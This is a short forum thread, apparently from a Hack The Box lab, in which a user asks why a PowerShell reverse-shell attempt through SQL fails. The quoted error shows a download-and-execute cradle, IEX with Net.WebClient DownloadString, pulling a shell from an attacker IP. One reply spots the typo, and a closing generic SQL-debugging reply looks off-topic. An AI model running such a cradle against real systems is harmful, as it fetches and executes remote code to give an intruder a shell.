getting error in SQL

this is the error while trying for reverse shell


New-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.16.7/shell

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) , CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException


can any one help me in this??

Type your comment> @bh98 said:

this is the error while trying for reverse shell


New-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.16.7/shell

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) , CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException


can any one help me in this??

This might help. xp_cmdshell error - #2 by TazWake - Machines - Hack The Box :: Forums

This is the important bit of the error:

New-ObjectNet.WebClient : The term 'New-ObjectNet.WebClient' is not recognized as the name of a cmdlet, function,   

That the command you meant to use?

Debugging a SQL query
Go to the line that is failing in your SQL query.
Check the SQL syntax on the line that is failing in your SQL query.
Check your query logic if the query uses joins, subqueries, or CTEs.
If you get an error message that isn’t specific to your SQL query, go to Troubleshooting error messages.

Regards,
Rachel Gomez